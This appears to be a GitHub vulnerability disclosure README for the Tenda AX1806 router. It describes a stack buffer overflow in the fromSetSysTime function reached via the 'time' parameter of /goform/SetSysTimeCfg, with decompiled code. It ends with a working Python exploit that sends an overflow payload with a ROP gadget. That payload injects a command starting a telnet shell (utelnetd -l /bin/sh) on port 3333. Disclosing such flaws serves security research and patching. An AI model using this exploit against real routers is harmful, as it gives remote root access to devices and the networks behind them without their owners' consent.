sec-bin Update README ... on Feb 8 History

..	
image	10 months ago
README.md	10 months ago
README_zh.md	10 months ago

README.md

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Remote Code Execution && Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SetSysTimeCfg` page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack buffer overflow vulnerability in the `fromSetSysTime` function.

The `v6` variable is directly retrieved from the http request parameter `time` .

Then `v6` will be splice to stack by function sscanf without any security check,which causes stack overflow.

```
  v18 = 0;
  v19 = 0;
  v20 = 0;
  v21 = 0;
  v22 = 0;
  v23 = 0;
  LOWORD(v24) = 0;
  v26 = 0;
  v27 = 0;
  LOWORD(v28) = 0;
  v6 = webgetvar(a1, (int)"time", (int)&byte_1C2CF0);
  _isoc99_sscanf(v6, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v13, v15, v17, &v19, &v22, &v26);
  *(_DWORD *)&v33[20] = atoi((const char *)v13) - 1900;
  *(_DWORD *)&v33[16] = atoi((const char *)v15) - 1;
  *(_DWORD *)&v33[12] = atoi((const char *)v17);
  *(_DWORD *)&v33[8] = atoi((const char *)&v19);
  *(_DWORD *)&v33[4] = atoi((const char *)&v22);
  *(_DWORD *)v33 = atoi((const char *)&v26);
  v7 = mktime((struct tm *)v33);
  if ( v7 > 10 )
  {
    tv.tv_sec = v7;
    tv.tv_usec = 0;
    if ( settimeofday(&tv, 0) >= 0 )
    {
      SetValue("sys.timesyn", "0");
      v9 = SetValue("sys.timemode", "hand");
      if ( sub_66240(v9) )
      {
```

So by POSTing the page `/goform/SetSysTimeCfg` with proper `time`, the attacker can easily perform a **Remote Code Execution** or **Deny of Service(DoS)** with carefully crafted overflow data.

Exp

Remote Code Exection

```
# Title: Exploit of Tenda-AX3's buffer overflow
# Author: R1nd0&c0rn
# Date: 2022
# Vendor Homepage: https://www.tenda.com.cn/
# Version: AX1806 v1.0.0.1

import requests
from pwn import *

gadget = 0x37208

url = "https://192.168.2.1/goform/SetSysTimeCfg"

timeType = "manual"
```

```
time = b"2022-01-01 "

time += b"a" * 0x380
time += b"bbbb"
time += b";"
time += b"/usr/sbin/utelnetd -l /bin/sh -p 3333"# command
time += b":"
time += b"c" * 0x374 + p32(gadget)

r = requests.post(url, data={'timeType': timeType, 'time': time},verify=False)
print(r.content)
```